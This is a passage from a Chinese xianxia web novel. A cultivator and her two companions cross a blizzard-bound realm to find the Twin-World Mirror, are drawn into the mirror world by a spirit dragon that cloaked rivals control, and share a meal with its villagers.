空间之中暴雪肆虐,虽说实体的冰雪对高阶修者的影响微乎其微,但狂风却实实在在对御剑产生了影响。
四面八方又毫无规律的大风使着在剑上保持平衡愈加困难,三人
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尝试一番,最终放弃了御剑,转而步行。
行至半路,屈再再与上官今接连看到远处隐于风雪的建筑,本是一件好事,却又陡然发生了一件怪事。
屈再再抱肩,衣摆被长风吹得直往后坠:“你们觉不觉得,这个东西变冷了?”
这是一件极怪的事情,虽说在此地,抵御风雪的灵力消耗会使环境对修者的作用增强,但她们走的时间不长,影响不该如此明显。
他觉得此情此景更像是,虚空中有什么东西在压制着他体内的灵池运转,让他缓缓变成没有灵力的人。
殷吟自然也有察觉,她暗咬了咬牙,原来这就是宗主所说的,只有自己最为合适的原因吗。
早知道是如此艰难的任务,她眼睁睁看着道生宗被魔族占领也不会来跑这一趟。
她回头看,上官今缀在后面,此时神色稍恹。他修为最低,受到这个奇怪地方的影响自然也最深。
殷吟道:“我们先休息一会儿。”
她目测,从此处到那方建筑还有相当长一段距离,就算现在不休息,待会儿也必要有一次整正,才能抵达目的地。
于是三人在冰天雪地之中席地而坐,屈再再从储物袋中翻出一堆木头,点起了篝火。
殷吟便问他:“你很冷吗?”
屈再再的眼睛被火焰映出光亮,盎然道:“你们不觉得这样更有雪地探险的氛围吗?”
殷吟:“……”
她拍去肩上积着的雪,走远去坐到上官今旁边。
“冷吗?”
上官今抱着膝,见她坐近,背脊微直,摇头道:“不冷,师尊冷吗?”
殷吟无奈,正想说你都不冷我怎么会冷,陡觉远处积雪颤动,她神情微凛,破冻急遽飞出。
“嗽——”
华美的长剑疾速刺向雪幕之中,却一无所获,转头又悠悠飞回。
殷吟看着剑尖,其上一尘不染,确实没刺中什么东西,便将破冻收起。
宗主说过有人在暗中觊觎双世镜,虽说这一剑没刺中人,但也不能说明没有人。
她眸色稍暗,将警戒压下去,温吞道:“我也不冷。”
“你不累吗?不困?不休息一会儿?”
“我不累,也不困,”上官今摇头,侧首看她,“师尊在幻境又是跳桥又是套取屈家人信任,师尊累不累?”
殷吟默了默。
若不是他的语气真挚,听得出关心的意味,单看这句话的字眼简直是挑衅。
她回道:“我不累。”
这下轮到上官今沉默。
片刻,殷吟见屈再再调完第一次息,准备回去看看有何新状况,刚站起来,衣摆却一滞。
她垂下眼,见一只白如葱段的手正轻捏着她的衣摆,便问他:“怎么了吗,你不舒服?”
上官今长睫微微颤动,在虚空中捡住几片冰雪,片刻又令之簌簌掉落。他身形未动,只轻声:“师尊,以后若有何计划,可否至少先知会我一声。”
像是在桥上,不由分说就跳了下去,在府中湖,一人进入寻那不知是友是敌的人鱼,还抱了出来。
“你怎么了,”殷吟面露疑惑,不偏不倚地蹲下来,歪着头探他神色,“我不是一直都有告诉你们吗。”
难不成是冻得发烧了,冒胡话。
她看来看去,觉得面前人的状况是正常的,又回:“嗯……有时可能情况太紧急,会没来得及说,放心,我心里有数的。”
上官今嗯一声,将攫着一片衣摆的手松开。
殷吟拍拍他的肩,回头去找屈再再,他的目光落在远处,雪还在纷纷扬扬,杂乱如麻。
我若是放心,师尊怎么会理我。
.
“大……大哥……”斗篷人的声音颤颤巍巍,眼睛几乎发直,成了一只死鱼。
幸好在这片空间内,修者的修为会被压制。若方才击来的那一剑是在外面,他必被穿肩无疑。
他的大哥瞪来一眼:“让你不要动,你找死?”
“太冷了啊,”斗篷人玉甲委屈道,“为什么只让玉乙先去找双世镜,我们也去前面等着不行吗。”
他想拢一拢被风扯开的斗篷,又怕如刚才一般引起远处人的注意,到底没敢动。
大哥冷哼:“少管我,再动就把你扔出去,让殷峰主直接杀了。”
“别别别大哥我错了我不敢了……”
玉甲还是细若蚊蚋地苦求,大哥的目光已然嫌恶地离开他,远远落回风雪之中。
穿过一片素雪,殷峰主正回走向那个不知名的阵峰峰主。
30. 双世镜
“屈再再,怎么样?”
屈再再甫一睁开双眼,便见殷吟又悠悠转回他面前坐下。
“好像没有什么用。”
他方才尝试调息以抵御这方空间对灵力的侵袭,尝试延缓自身灵力的流失,却发现并没有用。
殷吟又问道:“宗主也没有告诉你这件事情?”
屈再再摇摇头。
他已经许久没有接到宗主的任务了,所以这次记得很清楚,宗主只说了让他去找殷吟。其余的消息一概没有。
殷吟点了点头,目光虚虚印着燃烧攀升的火舌,篝火是屈再再用储存其内的灵力维系的,故而不会受到天气的影响。
虽然看上去火舌窜动,攀升下落,但其实一直停留在一个高度。
就如同她们的灵力一样,自从她们停在此地休整之后,就几乎没有再变化。
影响她们灵力的东西,应该就是在那栋建筑里的双世镜。
若真是如此,恐怕等她们接近双视镜的时候,体内灵力已几乎尽数流失。届时若有人暗中图谋,这项任务便难上加难了。
修整半个时辰后,三人再次赶路。
终于看到那栋建筑的全貌时,殷吟才发现,这原来是一座极辉煌、如同皇宫一般的宫殿式建筑。
最前是六七米高的朱红宫墙,宫门上覆黄琉璃瓦,银装素裹之中更愈庄重华贵,檐角立瑞兽,怒目圆睁,威仪万千。
门槛很高,迈进去便是左右两方规整的正方形湖泊,不大不小,流水上飘着零星积雪,在和风之中汩汩。其后与左右俱是黄瓦宫殿,一应徐徐铺开。
进到这栋建筑之时,风雪忽小了许多,像是有什么看不见的东西隔绝了门两端的世界,天色稍霁,并亮堂了几分。
同时,灵力却也几乎尽数被压制。
殷吟留意着四周,未见一点风吹草动,收回心神时,屈再再已经扑到左边的方形湖泊前,扒着石栏探出头。
“好漂亮啊,下次让宗主把道生峰的主殿改成这样的吧?”
殷吟走近,扶着石栏往外看,湖水清澈见底,接连映出她和上官今的身影。
她回头看:“分开找找双世镜吧。”
屈再再在一旁兴奋,脚下已然往宫殿方向偏:“好啊。”
“正好有三个方向,我去左边那里找找看!”
他没了灵力却不见慌张,步履生风地扬着马尾,留下一个意气的背影。
上官今收回目光,应着她的话问道:“那我一个人去右边的殿中看看?”
说到一个人时,他的声音有少许加重。
殷吟看他一眼,倒影离开湖面:“你跟着我。”
此地古怪,灵力无法使用,她的神识分不出去太远,如果有人要行不轨的话,上官今就是最好下手的。
宗主吩咐归吩咐,她还是知道什么事情应该排在最前面的。
作为穿越的任务者,看好上官今才是她的首要任务。
上官今看着殷吟后脑勺的发髻样式微微出神,片刻才反应过来,快步跟上。
二人走进中央的宫殿。
.
玉乙早半个时辰出发,急急赶到殿中探查一番。他原本躲在殿内,见来的三人由正门进入,便伺机从西门遁了出去,与大哥会合。
三位斗篷人凝望着一分为二的三人,玉甲率先问道:“大哥,我们现在怎么办?”
被自然簇在中央的斗篷人无言,从容地将便于在风雪之中隐匿的纯白斗篷卸下,宽大的帽檐一去,便露出少年精致而稚气的面容,他点了点额间抹额。
“你找到双世镜了吗?”
玉乙颔首:“找到了,我听大哥的,只是看了一下,没有碰。”
“当然不能碰,”端稚睨他,冷声道,“掉进去了,如果不在我身边,我可不保证你们两个是否能活着出来。”
玉甲玉乙齐齐颤声,目光几乎黏在了这位唯一的救命稻草身上:“是是是。”
虽然端稚的辈分在三人之中是最低的,但修为却已临达金丹,且身负秘术。在这方灵力尽被压制的地方,只有他能使得出来术法。
自然就是二人的大腿,得抱,不能得罪一分。
端稚受用地眯了眯眼,手中微动,凭空变出了一条白森森的骨头,他执着较细的一端,心念一动,另一端的肱骨头便幽幽起了荧火。
玉甲玉乙四目相对,齐齐看到对方震颤的瞳孔。
这是邪术吗?
二人不敢妄加定论。
可以确定的是这情形看着十分渗人,那截骨头末端在少年葱白的手上燃烧,速度缓慢地向下。
与此同时,玉甲玉乙看到端稚额间的抹额闪动,这方则是他们熟悉的灵力焕发出来的光泽,不是邪术。
旋而,一尾游龙蜿蜒由内而出,逐渐由灵力形态幻化出具体的鳞片与瓜牙,最后栩栩如生,游曳在三人之前。
游龙情态威严,除去瞧着人的一双眼睛十分呆滞,其余竟与真正的生物别无二致。
玉甲不禁小声:“好呆。”
游龙霎时冲到他面前,矫健的身形盘桓在他脖子之上,发力收紧,一个鼻孔对着他出气。
“错了错了错了!”玉甲面色霎白,“我错了龙大哥!我呆,我最呆……大哥你救救我好不好……”
端稚报以冷冷一笑:“对着你们,没有必要浪费我的灵力。”
他将熄灭的白骨收起,食指一挥,游龙便放下玉乙的脖子,灵巧地击入宫殿之中,身段如虹,极诡谲地游走于檐。
“带路,”端稚回头看玉乙,他已经被吓傻了,目瞪口呆得说不出话。他眉心一凝,烦躁道,“快,要是让她们先发现了双世镜,要你好看。”
玉乙:“啊啊?好!”
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入门中央的宫殿内,正中摆了一张软榻,上铺一层厚厚的虎裘,三色柔顺如雪,相互辉映,此外便是一些花花草草的盆栽,和内屋一张大床,无甚特别。
二人翻放片刻,一无所获。
殷吟将翻开的虎裘毯子铺回去,暗叹宫殿的原主人生活真是奢靡,也不知是何方皇亲贵胄。
她回过神,想喊上官今过来,两个人的速度较快,说不定能趁屈再再还没回来的时候,先去把右边的宫殿也搜查一番。
不过大概也不会有收获,这三座宫殿只是这栋建筑最前面的一小块区域,在三宫之后还有两侧通道再探向内,这整座宫殿究竟如何宏伟壮观,还未可知。
殷吟甫一回头,便被盘在殿门口的游龙惊骇,瞳孔骤缩。
她愣了
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一息,游龙盘于门口的虚空,一双星目亮烔有神,身上鳞片收紧,粼粼盛着天边的光芒,美轮美奂地缓慢游曳着。
这龙看着不大,不过六七米长,项身只有她双手环抱之宽,应该是条小龙。
殷吟怕惊着它,身形未动,轻声往内屋唤道:“上官今,你出来看。”
宽大的龙耳恰时一动,声音传回到远处隐匿于花丛中的端稚耳中,神情阴沉。
玉甲玉乙并肩,皆倒吸一口凉气。
谁又惹大哥了?
端稚目光幽幽,通过亮起的龙眼看到屋中景象,少女立于殿中,姿态万千,一派和美之时,身形颀长的少年从内屋走出,穿着规矩的常服,神色淡漠,较一年前的他,眉眼要更清隽几分。
他佩的剑是苍山,宗内一柄珍藏,端稚曾听器峰上同修讨论过。
游龙微眦了眦牙。
上官今踏出内屋,看到游龙时眉心不禁微凝,只一瞬,他便头也不偏地走回殷吟身边:“师尊,这是?”
端稚深呼吸,神识微动,在殷吟开口之前,游龙便打破静景,偏着头往门外游去,一身鳞片与日光辉映,不时回头来看二人。
意思很明显,是要她们跟上。
殷吟用手背拍了拍上官今,小声道:“去找屈再再,我们跟上去看看。”
“好。”上官今凝眉应声。
这龙来历不明,可能会有危险,但眼下显得不是能对师尊说不好的时候。
好在二人刚跟着游龙出来,便恰巧碰见返回的屈再再,他还远在一湖之外,看到传说中的生物时双眼瞪大,嘴张得夸张。
他在最醉心灵兽的乌龟峰主那里也没有见到龙,乌龟说龙族生性逍遥,隐于云层而居,是遗世独立的存在,少有人见过它们。
屈再再放慢步履,静待那尾小龙行远,才敢轻手轻脚地从后跟上殷吟二人。
玉乙硬着头皮,引龙去找双世镜的位置。
大哥心情极差,如果这次出了差错,大哥是真的会重罚他。
游龙领着三人,连带后面跟踪的另三人接连过了几个庭院,灵巧滑入到一座别致的小院之中。此地已深入建筑中央,双世镜被一个八脚的高挑花几托着,静静半倚在殿门后。
屈再再轻呼:“这就是双世镜?”
游龙并不理会他,轻巧地潜行入殿,身躯盘着花几自下而上,华美的鳞片龙身在空中流光溢彩。
鹿一般分支蔓延的对角自双世镜之后顶起。
殷吟心中直打鼓:“他想做什么?”
宗主说不能让任何人接触双世镜,也不知道是否包括这尾龙。
游龙神色陡凛,鹿角一挑,顶着双世镜猛冲过来,修长均匀的项身在空中展得笔直,威风凛凛。
三人皆惊,四散躲开。
殷吟高声:“不要碰那面镜子!”
连龙都不敢过多与它接触,若粘上了,想必不是什么好事情。
她声音刚停,擦肩将过的游龙身形忽变,宽大的龙身圈住她的腰际,使力往前一扯。
“师尊!”
“殷吟!”
端稚目光稍暗,操纵龙嘴咬住双世镜,霎时镜上光芒大盛。
一阵亮光之后,只剩孤零零的双世镜颓然倒地,发出呯的一长声。
31. 挂心
双世镜的名字由来,是因其负有的仙力深厚,可自成两方世界。镜中一方,镜外一方,二个世界完全对称,又互相颠倒,如同镜面。
她们刚进光门时走过的那片冰天雪地,就是镜外世界,跨过双世镜本体,内里还有一方镜中世界。
两方世界中,物品完全相同,都是一片冰雪与一处宫殿群。唯一有异的是,在镜中世界,宫殿群不再坐落于冰雪中央,而是反过来,由宫殿将冰雪之地包裹在最中央。
风雪凛冽,浓墨重彩地打在朱红的高墙之上,黄琉璃瓦间镶嵌陈雪,颓然如弃。
宫殿之中一处庭院,四季如春,日光烂漫,有一块小耕地,上种着不知名的瓜果,正歪扭着爬竿而上,翠色欲滴,幼果未结。
殷吟从地上站起来,拍拍自衣襟而下、沾满下身衣摆的大片沙土,又把散乱的鬓发随手绾回耳后。
若是在秘境外,她就能用灵力快速理出新的干净发型。
这里应该就是镜中世界,殷吟左右张望,确认圈着自己的那尾小龙已然不知所踪,又再伸手攥了攥拳。
灵力自她握拳的手周现出翻涌的波浪形,像是描上了一层光边,几息时间后,颓然消散。
看来在这片世界,她的灵力同样无法自由运转。如果非要使用灵力,就得先运气冲破双世镜的束缚,但代价深重,不宜随意使用。
殷吟兀自摇了摇头,暂不去想这件事。
她又再环顾四周,此处有耕地有作物,一派有人烟的模样,却半天都悄然无声,半个人影不见。
她心中不免惴惴,有些七上八下。
眼前就有一座宫殿,离自己不过五步远,殷吟的目光不由自主地从门前三个小阶往上走,由殿前紧闭的格栅门和门楣,牌匾积了一层厚灰,到大片黄琉璃瓦覆顶,反射日光。
波光粼粼之中,她猛然看到有一个披头散发的老妪伏在脊后,身形崎岖地扭成野兽窥伺的动作,露出半个脖子和头,形销骨立,瞪圆着死鱼一般的双目紧盯着她。
殷吟一眼撞进那浑黄而死气的目光之中,老妪也看见她,死潭的眼睛泛出一丝波动,就像雕塑被凿裂一样诡异。
殷吟心中惊骇,转身想跑,电光石火间,又与身后的人相撞,吃痛地捂着额头后退一步。
“啊!”
面前人的声音是熟悉的,殷吟心中稍稍安定,马上又回头去看殿上那个古怪老妪的动静。
她眨了眨眼,只转个身的功夫,檐上已经空无一人。
就像那个老妪从来没有出现过,只是她的幻觉。
“嘶……”屈再再揉了揉额头,眉头因痛而紧蹙起来,疑惑地看着她,“你怎么急急忙忙的?”
上官今微微蹙眉,刚才的磕碰在殷吟眉心留下一抹拇指宽的红,阳光之下尤为醒目。
殷吟揉了揉眼睛,对二人的出现感到惊讶:“你们怎么进来的?”
她是被那条小龙圈着带进来的,难道小龙不是消失了,而是留在镜外世界,又接连把这二人也带进来了?
屈再再虚头指了指:“碰碰那面镜子就进来了啊。”
言毕,上官今附和地点头。
殷吟眉心凝滞,无奈地看着二人。
她当然知道要触碰那面镜子进来,但是你们什么都不知道就敢闯进来,胆子是不是太大了?
上官今看着她揉额头,又问:“师尊,刚才发生了什么?”
他们在镜外世界目睹殷吟和那条龙消失,马上就跟着进来。第一眼便看到殷吟神色匆匆地往后跑,像是碰上了什么东西。
殷吟又回想起那双如同死鱼的眼睛,心中发怵:“我看到一个很奇怪的……”
“啷——”
她描述的话语还没有说完,院门口响起一道木桶落地的声音,水声清越地跳动出来,洇湿了大片土地。
掉落的木桶旁站着两个人,一高一低,高的是农人装扮的妇人,看起来三十出头的年纪,一头黑发挽在耳边,干净整齐地从肩头垂下来。
她牵着一个玉面娃娃,小孩头上绑着两个对称的揪揪,有些松散地垂下来,像是刚疯玩了一场,圆圆如杏的眼睛怯怯望着来人。
妇人黄小四看向来人,将娃娃搂着往怀里带,声音显出几分单薄的沧桑:“你们是什么人?”
殷吟上前一步,摆摆手道:“我们没有恶意,是不小心误入这里的。”
这应该就是这处宫殿的主人。奇怪的是,她的衣着与这处的装潢显得格格不入。
不过双世镜世界中有处大型宫殿,本身也是一件很奇怪的事情。
妇人看起来没有恶意,殷吟觉得没有必要骗她,如果要捏造一个身份的话,反可能做多错多,引来不必要的怀疑。
妇人眼眸微动,不清不浊的目光一一扫过来人,稍作停顿便从上官今的身上抽回。
远方有人高声喊。
“黄小四!在干嘛呢!”
黄小四回过头去,扬声道:“这里有不小心进来的镜外人!”
在双世镜中,修者的灵力虽被压制,但修为所带来的身体素质得以基本保留。所以说,修者的五感仍旧较寻常人高出许多。
殷吟听到,在黄小四的话音刚落,远处立即响出窸窸窣窣的动静,来人应该不止一两个,且应该不是同一个方向。
看来镜中世界的居民之间往来关系很好。
黄妇人回首,对三人露出温婉的笑容:“既然来了,不然就先一起吃个饭吧?”
三人你看看我我看看你,一时找不出拒绝的理由。
“那就谢谢姐姐啦。”殷吟弯弯眉。
她们自然有想留下来的理由。
镜外世界突然出现的小龙把她们卷进来,可能说明着,镜内世界发生了什么不好的事情。
鉴于她们此前在其他幻境浪费了太多时间,或许是给了觊觎双世镜的人先下手的空间。
但目前除了进来时见到的那个奇怪的人,殷吟并没有察觉到这个地方有古怪。
围声而来了十几个居民,将新面孔的三人团团围簇。居民们起先还不太敢靠近,眼中目光夹着讶异或探究,渐渐便胆子大起来。
屈再再逗着黄小四的小孩玩,女孩叫穗穗,今年才四岁,说话带着咿咿呀呀的孩子语调,甜甜软软的。
殷吟与一位少女谈论几句,旁敲侧击问了一番近来有没有什么古怪事情,还暗暗提了在屋脊之上的人,却都并无结果。
少女性子内敛,聊了几句便退出人群外,遥遥看着人声鼎沸。
殷吟奇怪地拧了拧眉。
听起来,这就是一方普普通通的日出而作日入而息的镜中世界,居民以耕种和畜养
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家禽为生,不见怪异。
来了三个镜外人的消息一传十十传百,庭院前这方不算宽敞的鹅卵石路上,人越聚越多。最后黄妇人哎呀一声,让众人先别紧着说话,一起走去吃了中饭才要紧。
一行人浩浩荡荡地离开时,殷吟仍觉心中忐忑,回头望了一眼。
这一眼被摩肩接踵的人群阻挡,什么都没有看到。
恰时,寂寂的庭院中瓜果生长,虚空之中又悠悠踏出人影。
端稚收起白骨,见玉甲玉乙齐齐去扒门,正朝外偷看远走的人群,冷眸瞪了一眼,寒声命他们回来。
而后,鬼鬼祟祟的三人隐于不知何处。
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殷吟回头时,正正在后方遮挡视线的人吸引了她的注意。
镜中的世界也没有太阳月亮这类参照物,却有光感与温度的变化,让其中的居民得以辨清时间。
所以,当她回首仰看去时,四面都是和煦的光,暖暖地填满了空气,并不刺眼。
殷吟眨了眨眼。
原来是上官今,路上一直缀在她后面,像个小影子一样。
殷吟觉得自己特别像拘着孩子不让他出去玩的监护人,一时生出几分内疚,用手肘碰碰他道:“你不去玩?”
上官今低头看时,殷吟已经回首去看路,只剩半截戳他的手未收回去。
他控着步伐微向前些,弯腰在她耳边回道:“我不想玩。”
比起玩,他更担心又突然出现龙蛇一类的东西,将师尊掳走。
殷吟点点头,既然不想,也随他开心。
耳边起的那阵风吹得有点痒,于是她抬手摸了摸耳朵。
.
一行人来到一处院子,此地与其他宫殿布置相似,但比先前那处开阔许多,有个很大的庭院,能容得下十张长桌与她们这行足以满屋的人。
院子旁边有个小厨房,木门大开,就有人张罗着要去抓鸡摘菜,镜中世界内,做饭的名额要论资排辈,殷吟三人只能和其他人一起去搬桌凳,在庭院之中支了个大席出来。
不一会儿,院中锅气飘香,烤鸭烧鸡接连出锅,大盘大盘热气腾腾的美食佳肴被拥至桌上,热火朝天。
大席前,一位厨师扬手道:“来,都尝尝这鸡肉,刚宰的,新鲜。”
旁边人问他:“有多鲜啊老马?”
老马装腔作势地瞪他一眼:“你说呢?我刚刚去抓的!”
一圈人哄笑一堂。
殷吟本跟着笑,旁边的黄小四抽空给她翻了杯酒,她忙摆手,歉然说自己不喝。
在小宋岭时她是喝得不少,但当时有修为傍身,说千杯不醉也不为过,与现在的情况不可同日而语。
黄妇人婉声:“一点点没事的,都是自己酿着玩,算不得酒。”
她怀抱中的穗穗摇着拨浪鼓,牙牙学语:“不得!不得!”
殷吟只好笑着点头,朝脸颊胖胖的穗穗伸手,逗她去抓:“穗穗真可爱,来姐姐这里玩一会儿,让你阿娘吃饭好不好?”
穗穗嘻嘻笑,把拨浪鼓递近来和殷吟玩。
黄小四紧了紧手,防止女孩掉下去:“我不是穗穗的亲生娘亲,是后面认的干娘。”
殷吟笑容僵了僵,心想自己怎么这么不会说话,连忙找了个话题揭过去。
场上嘻嘻哈哈。